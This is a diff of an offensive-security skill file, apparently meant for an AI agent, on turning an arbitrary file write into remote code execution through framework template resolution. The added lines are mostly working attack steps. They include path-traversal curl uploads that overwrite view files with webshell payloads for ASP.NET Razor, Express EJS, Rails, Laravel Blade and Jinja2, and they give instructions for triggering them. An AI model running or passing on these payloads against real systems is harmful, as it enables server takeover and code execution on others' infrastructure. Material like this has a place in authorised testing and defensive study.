write-path-to-rce ยท diff

git:20260504.2a64374 to git:20260529.8f6ea0e

83 added, 33 removed. Audit A to A.

---
name: write-path-to-rce
description: Escalate arbitrary file write into code execution by abusing framework view or template resolution. Use when you can write files but cannot execute script extensions directly, and the framework auto-loads templates or code from predictable search paths.
---
# Arbitrary File Write -> RCE via View Engine Resolution
## Pattern
- - You have arbitrary file write through path traversal, upload, report generation, or similar functionality
+ - You have arbitrary file write (path traversal, upload, report generation)
- The web server blocks direct requests to executable extensions
- The framework still resolves, compiles, or loads files internally from the filesystem
- ## Key Insight
- HTTP-layer request filtering and filesystem-level template lookup are different control planes. A framework can execute a written file through internal resolution even when direct URL access to that extension is blocked.
+ HTTP-layer request filtering and filesystem-level template lookup are different control planes. A framework can execute a written file through internal resolution even when direct URL access is blocked.
- ## Framework Cheatsheet
+ ## Workflow
- ### ASP.NET MVC (Razor)
- Typical search paths include:
- - `~/Views/{controller}/{action}.cshtml`
- - `~/Views/Shared/{action}.cshtml`
+ ### 1. Confirm arbitrary write
+ ```bash
+ # Write a canary file to a known location
+ curl -x localhost:8080 -k "https://target.com/upload" \
+ -F "file=@canary.txt;filename=../../../tmp/canary.txt"
- Write a Razor payload into a reachable search path and trigger the matching controller or action.
+ # Verify write
+ curl -x localhost:8080 -k "https://target.com/tmp/canary.txt"
+ ```
- ### Ruby on Rails
- Zeitwerk and wildcard routing can make controller or helper writes reachable when files land inside autoload paths such as:
- - `app/controllers/`
- - `app/models/`
- - `app/helpers/`
- - `lib/`
+ **Checkpoint:** If canary file is not written, the write primitive is not confirmed. Stop here.
- ### Express.js
- If the application renders attacker-writable EJS or Pug templates from `views/`, template execution becomes server-side code execution.
+ ### 2. Identify framework and map resolution paths
- ### Django and Flask
- If the target uses Jinja2 or unsafe template rendering paths, attacker-writable templates can execute on render.
+ ```bash
+ # Check response headers for framework hints
+ curl -x localhost:8080 -k -sD- "https://target.com/" | rg -i "x-powered-by|server|x-aspnet"
- ### Laravel
- Blade templates written into `resources/views/` become reachable through normal view resolution.
+ # Trigger a 404 to see error page (often reveals framework + view paths)
+ curl -x localhost:8080 -k "https://target.com/nonexistent_route_xyz"
+ ```
- ### Go
- Go templates are usually more constrained. In Go applications, arbitrary write more often needs to chain into source replacement, build triggers, or unsafe helper functions rather than template execution alone.
+ ### 3. Write payload to searched path
- ## Detection
- - Error messages disclose view search paths
- - ProcMon or `strace` shows framework file lookups during normal requests
- - Writable application paths overlap with template, view, or autoload directories
+ #### ASP.NET MVC (Razor)
+ ```bash
+ # View resolution: ~/Views/{controller}/{action}.cshtml, ~/Views/Shared/{action}.cshtml
+ # Write webshell to a view path
+ echo '@{ System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\inetpub\\wwwroot\\out.txt"); }' > payload.cshtml
+ curl -x localhost:8080 -k "https://target.com/upload" \
+ -F "file=@payload.cshtml;filename=../Views/Shared/Error.cshtml"
+ # Trigger: visit any URL that renders the Error view (e.g., cause a 500)
+ ```
- ## Validation Steps
- 1. Confirm arbitrary write by placing a canary file.
- 2. Map the framework's resolution order.
- 3. Write a payload into a searched path.
- 4. Trigger the code path that resolves or renders that file.
- 5. Confirm execution with a benign command, callback, or file creation.
+ #### Express.js (EJS/Pug)
+ ```bash
+ # View resolution: views/{name}.ejs
+ echo '<%= process.mainModule.require("child_process").execSync("id").toString() %>' > payload.ejs
+ curl -x localhost:8080 -k "https://target.com/upload" \
+ -F "file=@payload.ejs;filename=../views/index.ejs"
+ # Trigger: visit the route that renders index view
+ ```
+
+ #### Ruby on Rails
+ ```bash
+ # Zeitwerk autoload paths: app/controllers/, app/models/, app/helpers/, lib/
+ # Write a controller that executes on load
+ echo 'system("id > /tmp/pwned.txt")' > payload.rb
+ curl -x localhost:8080 -k "https://target.com/upload" \
+ -F "file=@payload.rb;filename=../../../app/helpers/exploit_helper.rb"
+ # Trigger: any request that loads helpers (most routes)
+ ```
+
+ #### Laravel (Blade)
+ ```bash
+ # View resolution: resources/views/{name}.blade.php
+ echo '{!! system("id") !!}' > payload.blade.php
+ curl -x localhost:8080 -k "https://target.com/upload" \
+ -F "file=@payload.blade.php;filename=../resources/views/welcome.blade.php"
+ # Trigger: visit / (default welcome route)
+ ```
+
+ #### Django/Flask (Jinja2)
+ ```bash
+ # Template dirs: templates/
+ echo '{{ "".__class__.__mro__[1].__subclasses__() }}' > payload.html
+ # Use this to enumerate classes, then find os.popen or subprocess for RCE
+ ```
+
+ ### 4. Trigger resolution and verify execution
+ ```bash
+ # Trigger the route that renders the overwritten template
+ curl -x localhost:8080 -k "https://target.com/target-route"
+
+ # Verify execution via OOB callback or file creation
+ curl -x localhost:8080 -k "https://target.com/out.txt"
+ ```
+
+ **Checkpoint:** Confirm execution with a benign command (whoami, id) or OOB callback. Do not proceed with destructive payloads until execution is confirmed.
+
+ ## Detection Signals
+ ```bash
+ # Error messages disclosing view search paths
+ rg "ViewEngine|Could not find view|template not found" http_requests/
+
+ # Framework file lookups (if you have strace/procmon access)
+ strace -e trace=open,openat -p <pid> 2>&1 | grep -i "views\|templates"
+ ```
## Chain With
- `apache-confusion-attacks`
- `race-condition-single-packet`
- `parser-differential-bypass`
## References
- https://lab.ctbb.show/research/asp-net-mvc-view-engine-search-patterns
- https://lab.ctbb.show/research/write-path-traversal-to-RCE-art-department